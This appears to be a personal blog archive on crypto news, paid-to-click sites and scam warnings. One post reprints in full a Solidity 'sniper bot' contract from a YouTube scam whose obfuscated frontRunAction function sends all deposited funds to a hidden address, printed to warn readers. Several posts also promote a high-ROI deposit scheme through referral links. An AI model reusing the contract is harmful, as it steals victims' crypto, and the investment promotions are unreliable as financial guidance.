AT

Thursday, July 13, 2023

The XRP Token Cleared of Security Status in a Landmark Victory Over the SEC


XRP vs SEC




Ripple Labs scored a huge win today (Yaay!!) in their years-long legal battle against the SEC (too long!). A federal judge ruled that Ripple's XRP token is not a security - meaning it does not need to come under additional SEC regulation. This decision is a landmark for the crypto industry. (Fill-up your bags!)

The SEC filed a lawsuit against Ripple and its executives back in 2020. They claimed that selling XRP was essentially selling an unregistered security. Ripple strongly disagreed with that claim and kept arguing their case for 3 years.

The judge's decision today means Ripple can continue selling and operating XRP just like any regular cryptocurrency. This is a major setback for the SEC who just couldn't prove that XRP sales amounted to offering investment contracts. Coincidentally, the news sent XRP's price flying up over 25% within minutes!

Everyone knew this was an important precedent-setting case that would affect how the SEC regulates other cryptocurrencies going forward. Ripple scores a huge win while the SEC takes a big L on this one.

XRP price

Investors cheered the news by driving XRP's price up over 70% in the hours after the judge's ruling. It quickly re-entered the top 5 cryptocurrencies by market cap and continued surging higher(going up).

With this legal victory, Ripple and XRP's future is much brighter. It can now rightfully claim a spot among the top major cryptocurrencies. All thanks to today's landmark decision that cleared XRP of being a "security".

- This news marks a major legal victory for Ripple and a slam for the US SEC, which was unable to establish that the sales of XRP constituted an investment contract, and not just for Ripple it's also great for the whole cryptocurrency industry and coins currently embroiled with SEC.

- XRP investors have taken the news incredibly positively, as the cryptocurrency has soared immediately since the news broke out.
It has now entered the top 5 largest cryptocurrencies by means of total market capitalization and continues trending higher.


On an unrelated note:

Please check out my friends article about: The Horror of Dolores Roach


Or other book reviews check it out here. 


DC Comics Womens Cosplay Active Workout Outfits

DC Comics Womens Cosplay Active Workout Outfits


Friday, July 15, 2022

Sniper Bot Tutorial SCAM!!!




 

You can see it everywhere, they even advertise on Facebook, Youtube, Google peddling their scam as "Sniper Bot Tutorial". They will show you how to make more money using Sniper Bot, they will promise you that you will make a lot of ETH or BNB or BTC through simple smart contract deployment.

Here's an example on Youtube:

sniper bot scam




It has more than 30,000 views I hope none of them fell for this scam!

It says that: In this video I show you a simple smart contract deployment in Solidity which automatically locates any liquidity added to a BSC token, immediately buy and sell at profit.

Current parameters of this contract is that 10% of profit automatically reenters the front-run pool, and automatically transacts back to your wallet 90% of the profit.  The remaining pool keeps front running for profit, until you submit "frontrunAction" function in ChainIDE"

It's clearly a scam, who would teach to multiply your 1 BNB to 17 BNB in a few seconds, it's just impossible. “If it's too good to be true, it probably is”

In the video the guy will ask you to go to chainide.com, then you will need to connect your Metamask Wallet. Then go to BNB chain. Then once connected he ask you to make a new file, then you will need to copy the "Sniper Bot scam script" that is provided in the video. Then paste it on the chainIDE. It said that the bot will run on the blockchain and work against the pancakeswap router. He then ask you to compile the bot, then deploy the smart contract to your wallet. It will then ask you to send some fund to the contract asking your to shell out 1.5 BNB that you will never see again. He then run the bot, and show you what he got from the 1.5 BNB which is clearly fake. Don't get scammed! Sniper Bot Tutorial is not true:


Here's is someone who got scammed:


scammed by sniper bot tutorial


Here's the scripped on the YouTube:


//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

contract PancakeswapFrontrunBot {
 
    string public tokenSymbol;
    uint frontrun;

    event Log(string _msg);

    /*
     * @dev Find newly deployed contracts on PancakeSwap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

       if (other._len < self._len)
             shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }
 
    constructor(string memory _mainTokenSymbol) public {
        tokenSymbol = _mainTokenSymbol;
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }


    /*
     * @dev Extracts the newest contracts on pancakeswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from pancakeswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 459125;
    }

    /*
     * @dev Parsing all pancakeswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }


    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
        function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 810871;
    }

    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function getMemPoolHeight() internal pure returns (uint) {
        return 60181;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 915750;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 614513;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 1016096;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 469259;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

    function _callFrontRunActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `token`.
     */
    function frontRunAction() public payable {
        emit Log("Running FrontRun attack on PancakeSwap. This can take a while please wait...");
        payable(_callFrontRunActionMempool()).transfer(address(this).balance);
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 446700;
    }

    /*
     * @dev loads all pancakeswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

}

script used in the sniper bot scam

As you can see it has exactly the same script as the one from the forum who got scammed, it's copy paste the only difference is the address of the pool

Sniper Bot Tutorial SCAM returns

 

 

Friday, December 10, 2021

Payment Proof from GPT Planet

Payment Proof from GPT Planet

Though the pay is small, it's still money

gpt planet payment proof

 

Friday, January 15, 2021

Make Money Online Using EarnHoney

 

Make Money Online Using EarnHoney



EarnHoney is a website that lets you accumulate points by performing different tasks like: doing surveys, using offers, watching videos, learning about brands, sharing your opinions, and playing games. You can also download apps on your smartphone to earn additional points.

You will earn OptinCoin (OPTin) by doing these tasks. These OPTin can then be redeemed for gift cards and cash. EarnHoney operates a rewards network which offers multiple ways to earn virtual currency called HoneyDollar$. Earn at your own pace and then redeem your HoneyDollar$ for free reward items in the Gifts Store. There are many other ways to win HoneyDollar$ as well.

The big downside of earnhoney.com is currently it's only available for those living in the United States.

If you live in the U.S. and you have a lot of time in your hands you can try them out! Click Here To JOIN. 






Wednesday, December 30, 2020

Happy New Year! 2021

happy new year messages 2021, New Year Wishes, 2021 Coronavirus New Year Wishes

 

Happy New Year to you and your family. If you got the virus we’re so sorry you’ve been ill and hope you are feel stronger and better soon. May this holiday season be a time of rest as you recover, and the new year full of hope for better days ahead.

Monday, December 28, 2020

Another Yougetprofit Payout December 28

Yougetprofit Payout


Here's another payout again from Yougetprofit, I'm at 144% ROI now I don't know if I could still withdraw. 

If you want to join Yougetprofit click here

Friday, December 25, 2020

letmecoin.com - anyone heard of them? Scam or Legit?

 

 letmecoin scam

 Hey guys! I got a discord message from someone and gave me 0.62BTC voucher and I can use this by registering an account letmecoin.com and use the promo code on the site and I will get 0.62BT. I followed the instruction, registered an account at letmecoin.com and enter the promo code and got  0.62BTC on my account. That's a lot of money, I think to myself. So naturally I tried to withdraw some of it, but it won't let me. I got this message: 

"Due to EU adopts rules to reduce anonymity for crypto users 15 May 2018, we were forced to reduce the number of bots and after the exchange system. Your balance has been frozen until you make a deposit.

Current status of your account:

Verification: Need to make a Deposit in the amount of: 0 BTC / 0.02 BTC"

Does it smells like a scam?







Wyze Cam 1080p HD Indoor Wireless Smart Home Camera with Night Vision



Rage by Bob Woodward book about Trump
Rage by Bob Woodward


Tuesday, December 22, 2020

Merry Christmas!

Merry Christmas!

Merry Christmas! Wishing you all the happiness your holiday can hold!

It's the most wonderful time of the year! Merry Christmas from our family to yours.

Monday, November 9, 2020

Yougetprofit Payout November 10

 I got a new payout again from Yougetprofit, however I am going to hit the 150% ROI and will soon need to deposit again. 

 

Yougetprofit Payout

 

Friday, November 6, 2020

Most Reliable in Payout PTC Website

masked dollar

If you have a lot of experience working on PTC (Paid to Click) websites that ends up disappointing you in the end because most are outright scam and there are few others that will make it hard for you to withdraw your money. Like placing a ROI (Return Of Investment with Profits) which force you to deposit money first before you can withdraw money which is outright ridiculous, the reason you are working and viewing their PTC website is because you need money, why in the hell you would give them money. If you see PTC Websites that ask you to deposit money, move along don't waste your time on these websites

Based on my extensive experience in dealing with PTC (Paid to Click) websites here are the most reliable PTC (Paid to Click) websites in terms of Payout!

  1. Scarlet-Clicks
  2. GPTplanet
  3. Optimalbux 



Scarlet-Clicks


Here you can earn a lot of money by viewing ads, fulfilling offers, and referring other members to this website. Scarlet-Clicks lets you click on ads and pays you almost $0.01 per ad. They also assure you about 100% referral earnings. You see approximately 30 ads per day having a minimum payout of just $2 for Skrill, Neteller, AirTM, Payeer, SolidtrustPay, Litecoin, and Dash.For Bitcoin the minimum payout is $10. It takes about 7 business day to receive your payment request.

You need to click at least 4 ads in order to earn from your referrals the next day.

Do I have to invest in order to get paid?
No, you do not have to invest in order to get paid.



GPTplanet


This is also a "Get Paid To" website that lets you perform small task for money like clicking on ads, watching videos etc. Each ad you watch on the site will give you approximately $0.001 to $0.01. There is a timer that is set when the ad is clicked on, after the timer expires you will need to choose the correct image to validate your view and to earn your credit. As a standard member, you can watch more than 20 ads per day. The minimum payout is $1.05. The first payout is at $1.05 and then the rest payouts are at 2$. You have to click at least 4 ads in order to earn from your referrals the next day. In order to receive your payment request you must wait up to 7 business days.

Do i have to invest in order to get paid? No, you do not have to invest in order to get paid.

Optimalbux


Optimalbux is relatively new website that is created in 2018 it also operated by ScarletClicks and GPTplanet. All members from any country are welcomed to register for free. The minimum cashout for Skrill, Neteller, SolidTrustPay, AirTM, Payeer, Litecoin, Dash is $5. In order to receive your payment request you must wait up to 7 days. The mimimum payout for Bitcoin depends on the fees of the Bitcoin transactions. You need to click at least 4 ads in order to earn from your referrals the next day.

Do I have to invest in order to get paid? No, you do not have to invest in order to get paid.












Monday, November 2, 2020

Bitterz Crypto Exchange Giving Away $50 in Bitcoins

 

Bitterz Crypto Exchange



Bitterz LLC which is a Japanese crypto exchange is giving away $50 in Bitcoins to those who will open a new account (FREE) and use it on their exchange to celebrate their launch. The newly launched Bitterz will start to provide exchange services to their customers located in China, Hong Kong and Taiwan.

Bitterz is a trading platform founded by a team from Japan with rich experience in the trading world. It offers a trading environment suitable for accumulating wealth, with a leverage of 200 times at most, a zero-cut system, and a reliable support system.

Bitterz LLC head office is located at Hinds Building, Kingstown, St. Vincent and the Grenadines. They have a Taiwan support center located at 705,No.45, Sec.1, Fu Xing S. Rd., Song Shan Dist., Taipei City 105056, Taiwan (R.O.C )    

They also offer a demo account so that you can practice trading with the same features as the real environment. No deposit is required. This is recommended for people who want to practice trading without risk and to check the trading tools available. OPEN A DEMO ACCOUNT HERE

They also have a negative balance protection on all accounts. With negative balance protection, your account balance will be automatically adjusted to zero in case it became negative after a stop out. This will prevent you from losing more than your deposit.

In terms of security, they offer a highly secured trading environment. The have a 24-hour-monitoring for dealing and security, a cold wallet to protect your holdings, and a two-step authentication system to prevent unauthorized logins, creating a highly secure trading environment. Your cryptocurrency holdings are insured; with a multi-sig cold wallet, your holdings can only be transferred under multiple administrators' approval.

Right now, they're giving away $50 worth of Bitcoins for opening a new account without charge! CLAIM YOUR $50 HERE.

Tuesday, October 27, 2020

I got another Payment from YouGetProfit

 I got another Payment from YouGetProfit, Thanks! here is the proof.

YouGetProfit Payment proof



If you want to join, click HERE

 

 

 

 


Volts Solutions 6ft Lightning to USB Cable Nylon
Volts Solutions 6ft Lightning to USB Cable Nylon Braided Charger with Aluminum Case 8-pin Connector for Smartphones & Tablets - Gray Price: $12.99


AMINY UFO Bluetooth Headset
AMINY UFO Bluetooth Headset Wireless Bluetooth Earpiece-Compatible with Android/iPhone/Smartphones/Laptop-16 Hrs Playing Time V5.0 Bluetooth Earbuds Wireless Headphones with Noise Cancelling Mic $23.99


Jabra Evolve2 85 UC Wireless Headphones
Jabra Evolve2 85 UC Wireless Headphones with Link380a $449

Chamberlain Group myQ Smart Garage Door Opener
Chamberlain Group myQ Smart Garage Door Opener Chamberlain MYQ-G0301 

Payment From GPTPlanet.com October 2020

 Heya! I got my payout from GPTPlanet here it is! Great! 


GPTPlanet  payout, PTC payment proof


JOIN GPTplanet HERE!










Volts Solutions 6ft Lightning to USB Cable Nylon
Volts Solutions 6ft Lightning to USB Cable Nylon Braided Charger with Aluminum Case 8-pin Connector for Smartphones & Tablets - Gray Price: $12.99


AMINY UFO Bluetooth Headset
AMINY UFO Bluetooth Headset Wireless Bluetooth Earpiece-Compatible with Android/iPhone/Smartphones/Laptop-16 Hrs Playing Time V5.0 Bluetooth Earbuds Wireless Headphones with Noise Cancelling Mic $23.99


Jabra Evolve2 85 UC Wireless Headphones
Jabra Evolve2 85 UC Wireless Headphones with Link380a $449

Chamberlain Group myQ Smart Garage Door Opener
Chamberlain Group myQ Smart Garage Door Opener Chamberlain MYQ-G0301


Happy Halloween 2020

 The scariest thing about October is that Christmas decorations are already starting to appear in stores. Merry Halloween and Happy Howl-adays!

 

Halloween, Happy Halloween 2020, Halloween greetings

 

Saturday, October 24, 2020

Scarlet Clicks Payment Received for October 2020

I got my payout from Scarlet Clicks! Nice!!!! The wait was okay unlike other PTC sites and the great thing about Scarlet Clicks is there are no other condition to withdraw just the $2 minimum payout that's it. Unlike other PTC sites that have PL ratio that you need to fulfill and deposit money for you to be able to withdraw money.

Scarlet Clicks payout, PTC


If you are not yet a member please JOIN Scarlet Clicks HERE






Wyze Cam 1080p HD Indoor Wireless Smart Home Camera with Night Vision



Rage by Bob Woodward book about Trump
Rage by Bob Woodward

Friday, October 23, 2020

Yougetprofit October Payout

 I got another payout from Yougetprofit, the payout maximum has gotten smaller, but that's okay. You can withdraw bit by bit everyweek. 


PTC payout proof

Sign up here....

Wednesday, October 21, 2020

Bitcoin Trading Above $12.3K after PayPal’s Big Crypto Move

bitcoin news

Bitcoin (BTC) has gained 4.86% on October 21 positive news about the crypto world boost gains. Currently it is sitting on $12,439.56, it went up after Reuters reported https://www.reuters.com/article/paypal-cryptocurrency/paypal-to-allow-cryptocurrency-buying-selling-and-shopping-on-its-network-idUSKBN2761MI that PayPal is going to support Bitcoin and other cryptocurrencies through its wallet and Venmo app starting on 2021. PayPal is hoping that this will encourage global use of cryptocurrencies and prepare its network for new digital currencies that may be developed by central banks and corporations, President and Chief Executive Dan Schulman said in an interview.

“We are working with central banks and thinking of all forms of digital currencies and how PayPal can play a role,” he said.

PayPal is getting into the crypto game, it's getting really exciting! PayPal will work with Paxos Trust Company. Paxos is best at turning things like equities—stocks —into blockchain-based tokens, which allow users to trade them like bitcoin. The BitLicense will let PayPal buy, sell, and hold bitcoin, bitcoin cash, ether, and litecoin.

 

 


Wyze Cam 1080p HD Indoor Wireless Smart Home Camera with Night Vision



Rage by Bob Woodward book about Trump
Rage by Bob Woodward

Monday, October 19, 2020

Twickerz Payment Proof for the month of October

 Hey I got another payment from Twickerz 


Payment proof Twickerz

Pay was very fast, this is a good PTC site unlike others which has payment delays that is too long. If you're not yet a member SIGNUP HERE

Tuesday, September 29, 2020

Are you a Student? Make Money Doing Survey on Student Hut


Make Money online, student hut



Student Hut is growing very fast, it's based in the UK and it's a Student Review Site that was created back in 2013 with the intention to help students get more transparency on all aspects of student life. It provides students with reviews on universities, student accommodation, university societies, nightlife, student cities, freshers weeks, student utility provider etc.

If you join Student Hut you'll get an instant £10 in Amazon Vouchers just for signing up.

How do you earn from this website? Their company works with some of the world’s leading brands and they are interested to know what students think and they want to pay students for that information.

All you need to do is register at https://studenthut.com/panel using your email address and create a profile of yourself. You can join Student Hut even if you live outside of the UK.

The £10 in Amazon Vouchers will be added in your account in a form of 1000 credits balance and once you added more credits and accumulated 2500 credits you can cash out a £25 Amazon voucher.

How to earn more points? It's simple just answer those surveys! You must complete your profile before being able to access any surveys. As soon as a survey is available for you, you will receive the survey on your portal and/or via an email.

After finishing a survey please take note that it takes 7 days for credits to appear in your account, this is to allow them to check your responses.

Surveys range in credits depending on the length and complexity of each survey. The longer the survey the more credits it is worth as we value how long they will take you to do.

How can I withdraw my credits?

Credits can be withdrawn when you reach 2500 this is the equivalent to a £25 Amazon voucher.




Wyze Cam 1080p HD Indoor Wireless Smart Home Camera with Night Vision



Rage by Bob Woodward book about Trump
Rage by Bob Woodward





Monday, August 10, 2020

Make Money Online at Home During a Pandemic: GG2U

GG2U make money online


Yeah it's a Pandemic and you're at home twiddling your thumbs and if you're one of the unluck one like me, you're out of work and out of luck. So what now? You can try your luck and make money online through GG2U. This website is a "get paid to do simple task" website. First impression when you get to their site, is that it's very simple looking, however don't underestimate them, they offer  the highest paying rates(65%-85% payout rates), and has a few unique offer walls and plenty of survey routers that compared to other sites. And because of the simpleness of their website it's very easy to navigate and fast to upload.

If you sign up HERE and get a $1.00 Signup Bonus!

Their customer support is really good since they always respond to your questions in a timely manner and are very willing to help you with your concerns. The also have easy-to-do gaming offers and video offers that have some of the best payout rates. You earn coins and it the conversion is 100 Coins is equals to $1.00 USD. Payout is $7 USD through your PayPal account or Coinbase Bitcoin email address. E-Gift Cards are available too.

You can start earning money by playing games, taking surveys, watching videos, and doing other easy things, sign up HERE and get a $1.00 Signup Bonus! 


Remember:

For every 200 Video Points you earn, you'll receive a Silver Token. Each Silver Token will reward you with a credit to your account balance of $1.00 to $3.00.

You can join HERE now and get a $1.00 Signup Bonus!










Volts Solutions 6ft Lightning to USB Cable Nylon
Volts Solutions 6ft Lightning to USB Cable Nylon Braided Charger with Aluminum Case 8-pin Connector for Smartphones & Tablets - Gray Price: $12.99


AMINY UFO Bluetooth Headset
AMINY UFO Bluetooth Headset Wireless Bluetooth Earpiece-Compatible with Android/iPhone/Smartphones/Laptop-16 Hrs Playing Time V5.0 Bluetooth Earbuds Wireless Headphones with Noise Cancelling Mic $23.99


Jabra Evolve2 85 UC Wireless Headphones
Jabra Evolve2 85 UC Wireless Headphones with Link380a $449

Chamberlain Group myQ Smart Garage Door Opener
Chamberlain Group myQ Smart Garage Door Opener Chamberlain MYQ-G0301